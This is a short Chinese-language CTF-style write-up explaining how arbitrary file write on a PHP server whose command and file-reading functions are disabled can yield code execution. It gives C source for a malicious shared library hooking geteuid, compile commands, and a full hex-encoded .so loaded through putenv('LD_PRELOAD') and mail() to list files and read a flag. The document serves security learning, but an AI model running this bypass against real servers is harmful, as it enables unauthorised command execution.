2017-09-18

文件任意写入getshell

通过文件任意写入来getshell

函数里屏蔽了所有的命令执行函数以及文件读取函数，但是允许文件的任意写入，这里仅提供一种思路：将事先编译好的共享库文件写到web根目录下，然后通过putenv函数设置环境变量中的LD_PRELOAD为该so文件,并使用mail函数调用/usr/bin/sendmail，最终执行共享库文件中的恶意代码。
编写hack.c文件如下：

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls >p01.txt");
}
intgeteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

编译该共享库文件，生成hack.so文件：
gcc -c -fPIChack.c -o hack
gcc -shared hack -o hack.so

使用如下php代码将so文件读取成十六进制串：

<?php
$content=file_get_contents("hack.so");
echo bin2hex($content);
?>

最终将十六进制字串写入web根目录下

1
2
3


$content = "7f454c4602010100000000000000000003003e0001000000c006000000000000400000000000000070110000000000000000000040003800070040001c0019000100000005000000000000000000000000000000000000000000000000000000bc08000000000000bc0800000000000000002000000000000100000006000000f80d000000000000f80d200000000000f80d2000000000005002000000000000580200000000000000002000000000000200000006000000180e000000000000180e200000000000180e200000000000c001000000000000c00100000000000008000000000000000400000004000000c801000000000000c801000000000000c80100000000000024000000000000002400000000000000040000000000000050e574640400000010080000000000001008000000000000100800000000000024000000000000002400000000000000040000000000000051e574640600000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000052e5746404000000f80d000000000000f80d200000000000f80d200000000000080200000000000008020000000000000100000000000000040000001400000003000000474e55008d40027068f204a76998e616d17fd281ea5656c800000000030000000a000000010000000600000088c82001801440090a0000000c0000000e0000004245d5ecbbe3927cd871581cb98df10eead3ef0eec9273f0cf49499c0000000000000000000000000000000000000000000000000000000003000900280600000000000000000000000000008c00000012000000000000000000000000000000000000001c00000020000000000000000000000000000000000000007d0000001200000000000000000000000000000000000000010000002000000000000000000000000000000000000000610000002000000000000000000000000000000000000000930000001200000000000000000000000000000000000000380000002000000000000000000000000000000000000000520000002200000000000000000000000000000000000000a60000001000160048102000000000000000000000000000b90000001000170050102000000000000000000000000000ad00000010001700481020000000000000000000000000001000000012000900280600000000000000000000000000001600000012000c00f00700000000000000000000000000008400000012000b00ba0700000000000034000000000000007500000012000b00a8070000000000001200000000000000005f5f676d6f6e5f73746172745f5f005f696e6974005f66696e69005f49544d5f64657265676973746572544d436c6f6e655461626c65005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573007061796c6f61640073797374656d006765746575696400676574656e7600756e736574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000002000000020000000000020000000200010001000100010001000100010000000000010001009c0000001000000000000000751a690900000200be00000000000000f80d20000000000008000000000000007007000000000000000e20000000000008000000000000003007000000000000100e2000000000000800000000000000100e200000000000d80f20000000000006000000030000000000000000000000e00f20000000000006000000050000000000000000000000e80f20000000000006000000060000000000000000000000f00f20000000000006000000080000000000000000000000f80f200000000000060000000900000000000000000000001810200000000000070000000200000000000000000000002010200000000000070000000400000000000000000000002810200000000000070000000500000000000000000000003010200000000000070000001000000000000000000000003810200000000000070000000700000000000000000000004010200000000000070000000900000000000000000000004883ec08488b05ad0920004885c07405e8430000004883c408c30000000000000000000000000000ff35b2092000ff25b40920000f1f4000ff25b20920006800000000e9e0ffffffff25aa0920006801000000e9d0ffffffff25a20920006802000000e9c0ffffffff259a0920006803000000e9b0ffffffff25920920006804000000e9a0ffffffff258a0920006805000000e990ffffff488d0588092000488d3d7a092000554829f84889e54883f80e77025dc3488b05f40820004885c074f25dffe00f1f4000488d0551092000488d3d4a092000554829f84889e548c1f8034889c248c1ea3f4801d048d1f875025dc3488b15cf0820004885d274f25d4889c6ffe20f1f4000803d1109200000752748833db708200000554889e5740c488d3dc2062000e85dffffffe868ffffff5dc605e808200001f3c366666666662e0f1f84000000000048833d90062000007426488b05670820004885c0741a55488d3d7a0620004889e5ffd05de957ffffff0f1f8000000000e94bffffff0f1f00554889e5488d3d46000000e8b8feffff5dc3554889e5488d3d40000000e896feffff4885c07507b800000000eb16488d3d28000000e8befeffffb800000000e8a4feffff5dc366904883ec084883c408c36c73203e7030312e747874004c445f5052454c4f414400011b033b240000000300000040feffff4000000098ffffff68000000aaffffff88000000000000001400000000000000017a5200017810011b0c070890010000240000001c000000f8fdffff70000000000e10460e184a0f0b770880003f1a3b2a332422000000001c0000004400000028ffffff1200000000410e108602430d064d0c07080000001c000000640000001affffff3400000000410e108602430d066f0c0708000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000700700000000000030070000000000000000000000000000100e20000000000001000000000000009c000000000000000c0000000000000028060000000000000d00000000000000f0070000000000001900000000000000f80d2000000000001b0000000000000008000000000000001a00000000000000000e2000000000001c000000000000000800000000000000f5feff6f00000000f0010000000000000500000000000000c803000000000000060000000000000030020000000000000a00000000000000ca000000000000000b000000000000001800000000000000030000000000000000102000000000000200000000000000900000000000000014000000000000000700000000000000170000000000000098050000000000000700000000000000d8040000000000000800000000000000c00000000000000009000000000000001800000000000000feffff6f00000000b804000000000000ffffff6f000000000100000000000000f0ffff6f000000009204000000000000f9ffff6f000000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000180e200000000000000000000000000000000000000000006606000000000000760600000000000086060000000000009606000000000000a606000000000000b6060000000000004743433a2028474e552920342e382e3520323031353036323320285265642048617420342e382e352d31312900002e73796d746162002e737472746162002e7368737472746162002e6e6f74652e676e752e6275696c642d6964002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e696e69745f6172726179002e66696e695f6172726179002e6a6372002e646174612e72656c2e726f002e64796e616d6963002e676f74002e676f742e706c74002e627373002e636f6d6d656e74000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001b000000070000000200000000000000c801000000000000c80100000000000024000000000000000000000000000000040000000000000000000000000000002e000000f6ffff6f0200000000000000f001000000000000f0010000000000004000000000000000030000000000000008000000000000000000000000000000380000000b000000020000000000000030020000000000003002000000000000980100000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000c803000000000000c803000000000000ca0000000000000000000000000000000100000000000000000000000000000048000000ffffff6f020000000000000092040000000000009204000000000000220000000000000003000000000000000200000000000000020000000000000055000000feffff6f0200000000000000b804000000000000b804000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000d804000000000000d804000000000000c0000000000000000300000000000000080000000000000018000000000000006e000000040000000200000000000000980500000000000098050000000000009000000000000000030000000a0000000800000000000000180000000000000078000000010000000600000000000000280600000000000028060000000000001a00000000000000000000000000000004000000000000000000000000000000730000000100000006000000000000005006000000000000500600000000000070000000000000000000000000000000100000000000000010000000000000007e000000010000000600000000000000c006000000000000c006000000000000300100000000000000000000000000001000000000000000000000000000000084000000010000000600000000000000f007000000000000f00700000000000009000000000000000000000000000000040000000000000000000000000000008a000000010000000200000000000000f907000000000000f907000000000000170000000000000000000000000000000100000000000000000000000000000092000000010000000200000000000000100800000000000010080000000000002400000000000000000000000000000004000000000000000000000000000000a0000000010000000200000000000000380800000000000038080000000000008400000000000000000000000000000008000000000000000000000000000000aa0000000e0000000300000000000000f80d200000000000f80d0000000000000800000000000000000000000000000008000000000000000000000000000000b60000000f0000000300000000000000000e200000000000000e0000000000000800000000000000000000000000000008000000000000000000000000000000c2000000010000000300000000000000080e200000000000080e0000000000000800000000000000000000000000000008000000000000000000000000000000c7000000010000000300000000000000100e200000000000100e0000000000000800000000000000000000000000000008000000000000000000000000000000d4000000060000000300000000000000180e200000000000180e000000000000c001000000000000040000000000000008000000000000001000000000000000dd000000010000000300000000000000d80f200000000000d80f0000000000002800000000000000000000000000000008000000000000000800000000000000e2000000010000000300000000000000001020000000000000100000000000004800000000000000000000000000000008000000000000000800000000000000eb000000080000000300000000000000481020000000000048100000000000000800000000000000000000000000000004000000000000000000000000000000f0000000010000003000000000000000000000000000000048100000000000002d000000000000000000000000000000010000000000000001000000000000001100000003000000000000000000000000000000000000007510000000000000f900000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000701800000000000070050000000000001b0000002b00000008000000000000001800000000000000090000000300000000000000000000000000000000000000e01d000000000000f8010000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100c80100000000000000000000000000000000000003000200f00100000000000000000000000000000000000003000300300200000000000000000000000000000000000003000400c80300000000000000000000000000000000000003000500920400000000000000000000000000000000000003000600b80400000000000000000000000000000000000003000700d80400000000000000000000000000000000000003000800980500000000000000000000000000000000000003000900280600000000000000000000000000000000000003000a00500600000000000000000000000000000000000003000b00c00600000000000000000000000000000000000003000c00f00700000000000000000000000000000000000003000d00f90700000000000000000000000000000000000003000e00100800000000000000000000000000000000000003000f00380800000000000000000000000000000000000003001000f80d20000000000000000000000000000000000003001100000e20000000000000000000000000000000000003001200080e20000000000000000000000000000000000003001300100e20000000000000000000000000000000000003001400180e20000000000000000000000000000000000003001500d80f2000000000000000000000000000000000000300160000102000000000000000000000000000000000000300170048102000000000000000000000000000000000000300180000000000000000000000000000000000010000000400f1ff000000000000000000000000000000000c00000001001200080e20000000000000000000000000001900000002000b00c00600000000000000000000000000002e00000002000b00f00600000000000000000000000000004100000002000b00300700000000000000000000000000005700000001001700481020000000000001000000000000006600000001001100000e20000000000000000000000000008d00000002000b00700700000000000000000000000000009900000001001000f80d2000000000000000000000000000b80000000400f1ff00000000000000000000000000000000010000000400f1ff00000000000000000000000000000000bf00000001000f00b8080000000000000000000000000000cd00000001001200080e2000000000000000000000000000000000000400f1ff00000000000000000000000000000000d900000001001300100e2000000000000000000000000000e600000001001400180e2000000000000000000000000000ef0000000100160048102000000000000000000000000000fb00000001001600001020000000000000000000000000001101000012000000000000000000000000000000000000002501000020000000000000000000000000000000000000004101000010001600481020000000000000000000000000004801000012000c00f00700000000000000000000000000004e01000012000000000000000000000000000000000000006201000020000000000000000000000000000000000000007101000012000b00ba0700000000000034000000000000007901000012000b00a8070000000000001200000000000000810100001000170050102000000000000000000000000000860100001000170048102000000000000000000000000000920100002000000000000000000000000000000000000000a60100001200000000000000000000000000000000000000bc0100002000000000000000000000000000000000000000d60100002200000000000000000000000000000000000000f201000012000900280600000000000000000000000000000063727473747566662e63005f5f4a43525f4c4953545f5f00646572656769737465725f746d5f636c6f6e65730072656769737465725f746d5f636c6f6e6573005f5f646f5f676c6f62616c5f64746f72735f61757800636f6d706c657465642e36333434005f5f646f5f676c6f62616c5f64746f72735f6175785f66696e695f61727261795f656e747279006672616d655f64756d6d79005f5f6672616d655f64756d6d795f696e69745f61727261795f656e747279006861636b2e63005f5f4652414d455f454e445f5f005f5f4a43525f454e445f5f005f5f64736f5f68616e646c65005f44594e414d4943005f5f544d435f454e445f5f005f474c4f42414c5f4f46465345545f5441424c455f00676574656e764040474c4942435f322e322e35005f49544d5f64657265676973746572544d436c6f6e655461626c65005f6564617461005f66696e690073797374656d4040474c4942435f322e322e35005f5f676d6f6e5f73746172745f5f0067657465756964007061796c6f6164005f656e64005f5f6273735f7374617274005f4a765f5265676973746572436c617373657300756e736574656e764040474c4942435f322e322e35005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a654040474c4942435f322e322e35005f696e697400";file_put_contents("hack.so",hex2bin($content));
putenv("LD_PRELOAD=/var/www/html/hack.so");chmod("hack.so",0777);mail("a@localhost","","","","");

在页面里提交即可遍历目录

再重复这个过程显示flag.php内容即可得到flag。